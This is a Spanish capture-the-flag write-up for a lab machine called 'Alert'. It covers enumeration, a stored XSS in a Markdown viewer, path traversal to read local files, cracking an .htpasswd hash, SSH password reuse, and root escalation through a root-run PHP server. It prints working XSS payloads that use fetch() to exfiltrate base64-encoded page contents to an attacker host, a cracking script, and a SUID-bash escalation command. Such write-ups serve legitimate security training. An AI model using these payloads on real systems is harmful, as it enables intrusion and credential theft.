Alert
8 minutos de lectura

.htpasswd
con el hash de una contraseña para acceder a otro subdominio. En cambio, podemos romper el hash y reutilizar la contraseña para SSH. En este punto, hay un servidor local PHP que se ejecuta como root
, y podemos administrar scripts en PHP, por lo que simplemente podemos ejecutar el código PHP como root
- PHP
- Subida de archivos
- Cross-Site Scripting
- Permisos de archivos
- Navegación de directorios
- Lectura de Archivos Locales
- Cross-Site Request Forgery
- Reutilización de contraseñas
- Descifrado de hashes de contraseñas
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.44
- Fecha: 23 / 11 / 2024
Escaneo de puertos
# Nmap 7.95 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.44 -p 22,80
Nmap scan report for 10.10.11.44
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 11.38 seconds
Esta máquina tiene puertos 22 (SSH) y 80 (HTTP) abiertos.
Enumeración
Si vamos a http://10.10.11.44
, se nos redirige a http://alert.htb
. Después de poner el dominio en /etc/hosts
, tenemos esta página web:
Dado que hay un dominio, vamos a ver si hay subdominios:
$ ffuf -w $WORDLISTS/Seclists/subdomains-top1million-110000.txt -u http://10.10.11.44 -H 'Host: FUZZ.alert.htb' -fw 20
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 139ms]
Muy bien, este dominio statistics.alert.htb
no es accesible todavía porque no tenemos credenciales:
Entonces, continuemos enumerando alert.htb
. Hay una sección “About Us” que dice que un administrador está leyendo todos los mensajes enviados desde “Contact Us”:
En este formulario de contacto, podemos pensar en payloads maliciosos para enviar:
Por ejemplo, dado que el sitio web usa Markdown, podemos insertar una imagen que apunte a un servidor controlado:
¡Y funciona! Pero obsérvese que el paréntesis final sigue ahí:
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.44 - - [] code 404, message File not found
::ffff:10.10.11.44 - - [] "GET /asdf) HTTP/1.1" 404 -
Por lo tanto, probablemente solo necesitemos enviar el enlace, y el administrador simplemente hará clic.
Encontrando XSS
Probemos el visor de Markdown, tratando de inyectar código HTML (ya que HTML se puede incrustar fácilmente en Markdown). En verdad, usemos un payload de Cross-Site Scripting (XSS):
<img onerror="alert(123)" src="x">
Y el XSS funciona, con el payload más simple:
Podemos usar el botón “Share Markdown” para generar un enlace único a este archivo Markdown:
Con esta funcionalidad, podemos comenzar a pensar en el vector de ataque:
- Subir un archivo Markdown malicioso con XSS
- Generar un enlace único al archivo Markdown
- Enviar el enlace al administrador
Pero todavía nos estamos perdiendo algo, porque no podemos simplemente hacer una petición a statistics.alert.htb
. Debido al Same-Origin Policy, no podemos leer respuestas de peticiones de sitios cruzados.
Dando un paso atrás, podemos observar que todas las páginas se gestionan como:
/index.php?page=alert
/index.php?page=about
/index.php?page=contact
/index.php?page=donate
En realidad, la página de “Donate” es completamente inútil. Sin embargo, podemos aplicar fuzzing para encontrar otras páginas usando ffuf
:
$ ffuf -w $WORDLISTS/Seclists/Discovery/Web-Content/raft-small-words.txt -u 'http://alert.htb/index.php?page=FUZZ' -fs 690
about [Status: 200, Size: 1046, Words: 187, Lines: 24, Duration: 102ms]
messages [Status: 200, Size: 661, Words: 123, Lines: 25, Duration: 67ms]
donate [Status: 200, Size: 1116, Words: 292, Lines: 29, Duration: 73ms]
contact [Status: 200, Size: 1000, Words: 191, Lines: 29, Duration: 4687ms]
alert [Status: 200, Size: 966, Words: 201, Lines: 29, Duration: 69ms]
¡Ahí está! No podemos acceder a /index.php?page=messages
desde nuestro lado, pero es muy probable que el administrador pueda navegar por esta página.
Acceso a la máquina
Por lo tanto, usemos XSS para realizar un Cross-Site Request Forgery (CSRF):
<img onerror="fetch('http://alert.htb/index.php?page=messages').then(r => r.text()).then(r => fetch('http://10.10.16.6:8000/?c=' + btoa(r)))" src="x">
Con esto, estamos tratando de leer la respuesta HTTP de /index.php?page=messages
y enviarlo a nuestro servidor controlado en Base64:
::ffff:10.10.11.44 - - [] "GET /?c=PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImNzcy9zdHlsZS5jc3MiPgogICAgPHRpdGxlPkFsZXJ0IC0gTWFya2Rvd24gVmlld2VyPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxuYXY+CiAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9YWxlcnQiPk1hcmtkb3duIFZpZXdlcjwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1jb250YWN0Ij5Db250YWN0IFVzPC9hPgogICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWFib3V0Ij5BYm91dCBVczwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1kb25hdGUiPkRvbmF0ZTwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1tZXNzYWdlcyI+TWVzc2FnZXM8L2E+ICAgIDwvbmF2PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8aDE+TWVzc2FnZXM8L2gxPjx1bD48bGk+PGEgaHJlZj0nbWVzc2FnZXMucGhwP2ZpbGU9MjAyNC0wMy0xMF8xNS00OC0zNC50eHQnPjIwMjQtMDMtMTBfMTUtNDgtMzQudHh0PC9hPjwvbGk+PC91bD4KICAgIDwvZGl2PgogICAgPGZvb3Rlcj4KICAgICAgICA8cCBzdHlsZT0iY29sb3I6IGJsYWNrOyI+qSAyMDI0IEFsZXJ0LiBBbGwgcmlnaHRzIHJlc2VydmVkLjwvcD4KICAgIDwvZm9vdGVyPgo8L2JvZHk+CjwvaHRtbD4KCg== HTTP/1.1" 200 -
Y esta es la respuesta HTTP:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Alert - Markdown Viewer</title>
</head>
<body>
<nav>
<a href="index.php?page=alert">Markdown Viewer</a>
<a href="index.php?page=contact">Contact Us</a>
<a href="index.php?page=about">About Us</a>
<a href="index.php?page=donate">Donate</a>
<a href="index.php?page=messages">Messages</a> </nav>
<div class="container">
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
</div>
<footer>
<p style="color: black;"> 2024 Alert. All rights reserved.</p>
</footer>
</body>
</html>
Oh, se llama a un archivo 2024-03-10_15-48-34.txt
. Intentemos leerlo:
<img onerror="fetch('http://alert.htb/messages.php?file=2024-03-10_15-48-34.txt').then(r => r.text()).then(r => fetch('http://10.10.16.6:8000/?c=' + btoa(r)))" src="x">
::ffff:10.10.11.44 - - [] "GET /?c=PHByZT48L3ByZT4K HTTP/1.1" 200 -
Raro…
$ echo PHByZT48L3ByZT4K | base64 -d
<pre></pre>
Lectura de archivos locales
Tal vez no debamos leer este archivo específico, sino otros… De hecho, el parámetro file
es probablemente vulnerable al navegación de directorios y nos permite leer archivos arbitrarios del servidor. Por ejemplo, leamos /etc/passwd
:
<img onerror="fetch('http://alert.htb/messages.php?file=../../../../../../../etc/passwd').then(r => r.text()).then(r => fetch('http://10.10.16.6:8000/?c=' + btoa(r))) " src="x">
::ffff:10.10.11.44 - - [] "GET /?c=PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg== HTTP/1.1" 200 -
Y aquí tenemos /etc/passwd
:
$ echo PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg== | base64 -d
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>
En este punto, dado que vamos a realizar el mismo proceso para leer varios archivos del servidor, escribamos un script en Python para automatizar todo el proceso, de modo que solo necesitemos poner la ruta del archivo que queremos leer y ejecutar el script: lfr.py
(explicación detallada aquí). Ahora, la tarea de leer archivos se reduce a:
$ python3 lfr.py 10.10.16.6 /etc/hosts
127.0.0.1 localhost
127.0.1.1 alert
127.0.0.1 alert.htb
127.0.0.1 statistics.alert.htb
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Al tener una vulnerabilidad de lectura de archivos locales, necesitamos leer archivos comunes cuyas rutas sean predecibles. Por ejemplo, dado que el servidor web es Apache, podemos leer la configuración predeterminada de los sitios web:
$ python3 lfr.py 10.10.16.6 /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
¡Eh! Recuerda que statistics.alert.htb
estaba protegido con autenticación básica HTTP, lo que significa que hay un archivo .htpasswd
ahí (como se muestra en la configuración anterior):
$ python3 lfr.py 10.10.16.6 /var/www/statistics.alert.htb/.htpasswd
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Perfecto, ahora solo necesitamos romper este hash. Por alguna razón, john
no es capaz de romperlo. Como no me gusta hashcat
, decidí buscar una implementación de la función de hash de Apache y encontré passlib.apache
. Usando esta librería de Python, podemos romper el hash con el siguiente código:
$ python3 -q
>>> from passlib.apache import HtpasswdFile
>>>
>>> ht = HtpasswdFile.from_string('albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/')
>>>
>>> with open('rockyou.txt', 'rb') as f:
... passwords = f.read().splitlines()
...
>>> for password in passwords:
... if ht.check_password('albert', password):
... print(password)
... break
...
b'manchesterunited'
¡Y ahí lo tenemos! Ahora podemos acceder a este sitio web, pero no hay nada interesante…
Sin embargo, podemos reutilizar estas credenciales en SSH, y podemos obtener la flag user.txt
flag:
$ ssh albert@alert.htb
albert@alert.htb's password:
albert@alert:~$ cat user.txt
c8b3b9250e5afbef99afed9988bf85a8
Enumeración del sistema
Una enumeración básica del listado proceso muestra que hay un servidor local en PHP que se ejecuta en el puerto 8080 y en el directorio /opt/website-monitor
:
albert@alert:~$ ps -faux | grep php
root 1037 0.0 0.0 2608 532 ? Ss Feb12 0:00 | \_ /bin/sh -c /root/scripts/php_bot.sh
root 1039 0.0 0.0 6892 3216 ? S Feb12 0:00 | \_ /bin/bash /root/scripts/php_bot.sh
root 1042 0.0 0.0 6892 1960 ? S Feb12 0:11 | \_ /bin/bash /root/scripts/php_bot.sh
root 994 0.0 0.6 207256 26488 ? Ss Feb12 0:01 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
albert 77884 0.0 0.0 6300 656 pts/0 S+ 01:18 0:00 \_ grep --color=auto php
Podríamos usar un reenvío de puertos con SSH para visualizar este sitio web desde nuestro navegador, pero no es necesario. Tenemos los siguientes archivos en /opt/website-monitor
:
albert@alert:~$ ll /opt/website-monitor/
total 96
drwxrwxr-x 7 root root 4096 Oct 12 01:07 ./
drwxr-xr-x 4 root root 4096 Oct 12 00:58 ../
drwxrwxr-x 2 root management 4096 Feb 12 15:57 config/
drwxrwxr-x 8 root root 4096 Oct 12 00:58 .git/
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents/
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php*
-rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE*
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php*
drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors/
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json*
-rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php*
-rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md*
-rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css*
drwxrwxr-x 2 root root 4096 Oct 12 00:58 updates/
Obsérvese que tenemos permisos rwx
en /opt/website-monitor/config
como grupo management
:
albert@alert:~$ groups
albert management
albert@alert:~$ ll /opt/website-monitor/config/
total 12
drwxrwxr-x 2 root management 4096 Feb 12 15:57 ./
drwxrwxr-x 7 root root 4096 Oct 12 01:07 ../
-rwxrwxr-x 1 root management 49 Feb 13 01:21 configuration.php*
Escalada de privilegios
Dado que el servidor local PHP se está ejecutando como root
, simplemente podemos agregar un script de PHP en /opt/website-monitor/config
para obtener una reverse shell, o configurar Bash como un binario SUID, o cualquier otro método de escalada de privilegios. Lo siguiente funciona:
albert@alert:~$ ll /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash*
albert@alert:~$ cat > /opt/website-monitor/config/x.php
<?php system('chmod u+s /bin/bash'); ?>
^C
albert@alert:~$ curl 127.0.0.1:8080/config/x.php
albert@alert:~$ ll /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash*
albert@alert:~$ bash -p
bash-5.0# cat /root/root.txt
a6c9820b6a1dcfac4d561d8af88d76c5